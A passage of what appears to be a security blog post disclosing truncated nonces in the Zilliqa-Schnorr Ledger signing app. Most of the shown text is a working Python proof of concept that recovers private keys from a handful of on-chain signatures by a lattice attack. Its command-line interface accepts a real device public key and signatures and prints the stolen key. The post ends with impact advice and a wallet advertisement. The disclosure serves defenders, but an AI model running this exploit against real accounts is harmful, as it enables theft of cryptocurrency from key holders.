<span class="giallo-l"><span> r</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">from_bytes</span><span style="color: #9399B2;">(</span><span>hashlib</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">sha256</span><span style="color: #9399B2;">(</span><span style="color: #89B4FA;">enc</span><span style="color: #9399B2;">(</span><span>Q</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> +</span><span style="color: #89B4FA;"> enc</span><span style="color: #9399B2;">(</span><span>P</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> +</span><span style="color: #A6E3A1;font-style: italic;"> f</span><span style="color: #A6E3A1;">"selftest </span><span style="color: #F5C2E7;">{</span><span>i</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">"</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">encode</span><span style="color: #9399B2;">()).</span><span style="color: #89B4FA;">digest</span><span style="color: #9399B2;">(),</span><span style="color: #A6E3A1;"> 'big'</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> N</span></span>
<span class="giallo-l"><span> s</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span>k</span><span style="color: #94E2D5;"> -</span><span> r</span><span style="color: #94E2D5;">*</span><span>d</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> N</span></span>
<span class="giallo-l"><span> sigs</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">((</span><span>r</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #9399B2;">))</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">"═══ SELFTEST (synthetic k < 2^192, blind recovery) ═══"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> m</span><span style="color: #CBA6F7;"> in</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">4</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 5</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 6</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> rec</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> hnp_attack</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">sigs</span><span style="color: #9399B2;">[:</span><span style="color: #EBA0AC;font-style: italic;">m</span><span style="color: #9399B2;">],</span><span> P</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> ok</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span>rec</span><span style="color: #94E2D5;"> ==</span><span> d</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">" m=</span><span style="color: #F5C2E7;">{</span><span>m</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> sigs → d </span><span style="color: #F5C2E7;">{</span><span style="color: #A6E3A1;">'✓ RECOVERED'</span><span style="color: #CBA6F7;"> if</span><span> ok</span><span style="color: #CBA6F7;"> else</span><span style="color: #A6E3A1;"> '✗ not recovered'</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> assert</span><span> m</span><span style="color: #94E2D5;"> ></span><span style="color: #FAB387;"> 4</span><span style="color: #CBA6F7;"> or</span><span style="color: #FAB387;"> True</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> assert</span><span style="color: #89B4FA;"> hnp_attack</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">sigs</span><span style="color: #9399B2;">[:</span><span style="color: #FAB387;font-style: italic;">6</span><span style="color: #9399B2;">],</span><span> P</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> ==</span><span> d</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── main ───────────────────────────────────────────────────────────────</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;">if</span><span> __name__</span><span style="color: #94E2D5;"> ==</span><span style="color: #A6E3A1;"> '__main__'</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span> ap</span><span style="color: #94E2D5;"> =</span><span> argparse</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">ArgumentParser</span><span style="color: #9399B2;">(</span></span>
<span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> description</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">"Blind Zilliqa-Schnorr private-key recovery via lattice HNP "</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;"> "(truncated nonces, schnorr.c:74-76). Self-verifies via d·G == pubkey."</span><span style="color: #9399B2;">,</span></span>
<span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> epilog</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">"example: python3 poc/hnp.py --pubkey 034f73… --sig <r‖s> --sig <r‖s> --sig <r‖s> --sig <r‖s>"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">add_argument</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">'--pubkey'</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> required</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">True</span><span style="color: #9399B2;">,</span></span>
<span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> help</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">'compressed device pubkey (66 hex, 02/03‖x)'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">add_argument</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">'--sig'</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> action</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">'append'</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> required</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">True</span><span style="color: #9399B2;">,</span></span>
<span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> help</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">'signature as 128 hex (r‖s); repeat for each signature'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">add_argument</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">'--kbits'</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> type</span><span style="color: #94E2D5;">=</span><span style="color: #CBA6F7;font-style: italic;">int</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> default</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">192</span><span style="color: #9399B2;">,</span></span>
<span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> help</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">'nonce upper bound in bits, k < 2^kbits (default: 192)'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">add_argument</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">'--selftest'</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> action</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">'store_true'</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> help</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">'run the synthetic proof instead'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> args</span><span style="color: #94E2D5;"> =</span><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">parse_args</span><span style="color: #9399B2;">()</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> args</span><span style="color: #9399B2;">.</span><span>selftest</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span style="color: #89B4FA;"> selftest</span><span style="color: #9399B2;">()</span><span>; sys</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">exit</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>args</span><span style="color: #9399B2;">.</span><span>pubkey</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> !=</span><span style="color: #FAB387;"> 66</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">error</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">'--pubkey must be 66 hex chars (compressed 02/03‖x)'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> pub</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> decomp</span><span style="color: #9399B2;">(</span><span>args</span><span style="color: #9399B2;">.</span><span>pubkey</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> sigs</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> []</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> h</span><span style="color: #CBA6F7;"> in</span><span> args</span><span style="color: #9399B2;">.</span><span>sig</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span> h</span><span style="color: #94E2D5;"> =</span><span> h</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">strip</span><span style="color: #9399B2;">()</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>h</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> !=</span><span style="color: #FAB387;"> 128</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">error</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">'--sig must be 128 hex chars (r‖s), got </span><span style="color: #F5C2E7;">{</span><span style="color: #FAB387;font-style: italic;">len</span><span style="color: #9399B2;">(</span><span>h</span><span style="color: #9399B2;">)</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> r</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">h</span><span style="color: #9399B2;">[:</span><span style="color: #FAB387;font-style: italic;">64</span><span style="color: #9399B2;">],</span><span style="color: #FAB387;"> 16</span><span style="color: #9399B2;">),</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">h</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">64</span><span style="color: #9399B2;">:],</span><span style="color: #FAB387;"> 16</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if not</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">1</span><span style="color: #94E2D5;"> <=</span><span> r</span><span style="color: #94E2D5;"> <</span><span> N</span><span style="color: #CBA6F7;"> and</span><span style="color: #FAB387;"> 1</span><span style="color: #94E2D5;"> <=</span><span> s</span><span style="color: #94E2D5;"> <</span><span> N</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">error</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">'r and s must be in [1, n-1]'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> sigs</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">((</span><span>r</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #9399B2;">))</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span> leak</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> 256</span><span style="color: #94E2D5;"> -</span><span> args</span><span style="color: #9399B2;">.</span><span>kbits</span></span>
<span class="giallo-l"><span> need</span><span style="color: #94E2D5;"> = -</span><span style="color: #9399B2;">(</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">256</span><span style="color: #94E2D5;"> //</span><span> leak</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> if</span><span> leak</span><span style="color: #94E2D5;"> ></span><span style="color: #FAB387;"> 0</span><span style="color: #CBA6F7;"> else</span><span style="color: #FAB387;"> 0</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">"═══ HNP LATTICE ATTACK (blind) ═══"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">"[*] </span><span style="color: #F5C2E7;">{</span><span style="color: #FAB387;font-style: italic;">len</span><span style="color: #9399B2;">(</span><span>sigs</span><span style="color: #9399B2;">)</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> signatures, hypothesis: k < 2^</span><span style="color: #F5C2E7;">{</span><span>args</span><span style="color: #9399B2;">.</span><span>kbits</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> "</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;font-style: italic;"> f</span><span style="color: #A6E3A1;">"(</span><span style="color: #F5C2E7;">{</span><span>leak</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> leaked bits/sig, need ≥ </span><span style="color: #F5C2E7;">{</span><span>need</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> sigs)"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>sigs</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> <</span><span> need</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">"[!] WARNING: information-theoretically insufficient — expect failure"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> hnp_attack</span><span style="color: #9399B2;">(</span><span>sigs</span><span style="color: #9399B2;">,</span><span> pub</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> bound_bits</span><span style="color: #94E2D5;">=</span><span>args</span><span style="color: #9399B2;">.</span><span>kbits</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d</span><span style="color: #CBA6F7;"> is not</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">"</span><span style="color: #F5C2E7;">\n</span><span style="color: #A6E3A1;">🚨 PRIVATE KEY RECOVERED (blind, from (r,s) alone):"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">"🔑 d = </span><span style="color: #F5C2E7;">{</span><span>d</span><span style="color: #CBA6F7;">:064x</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">" d·G == device pubkey: True ← self-verified, key is correct"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> else</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">"</span><span style="color: #F5C2E7;">\n</span><span style="color: #A6E3A1;">[-] no key recovered. Meaning: EITHER no truncation (k is full"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">" 256-bit — healthy device), OR not enough signatures for the lattice."</span><span style="color: #9399B2;">)</span></span></code></pre>
<p>Running against five signatures from an affected account recovers the full private key in <strong>~17 seconds</strong> on commodity hardware.</p>
<h2 id="impact">Impact</h2>
<ul>
<li>Every account that has broadcast <strong>roughly one or more</strong> native ZIL Ledger-signed transactions is at risk; with a small handful of signatures, recovery is reliable.</li>
<li>The leak is in <strong>historical, immutable</strong> on-chain data. <strong>Patching the app cannot undo it</strong> — any key that has already signed the vulnerable way should be considered compromised.</li>
<li>Move funds from affected accounts to a <strong>freshly generated</strong> key that has never signed with the vulnerable app.</li>
</ul>
<h2 id="reflection">Reflection</h2>
<p>A defect this severe, sitting untouched since 2019, is a governance and engineering-culture failure as much as a cryptographic one. Nonce handling is the single most safety-critical line in a signing implementation; it deserves adversarial review, not a truncation bug that ships for years.</p>
<p>For contrast, <a rel="external" href="https://bearby.io">Bearby</a> takes key material seriously: <strong>512-bit complexity combined with ChaCha20 encryption</strong> for at-rest protection, and a non-custodial design where your keys never leave your control.</p>
<p><em>Stay safe, rotate compromised keys, and always audit the nonce.</em></p>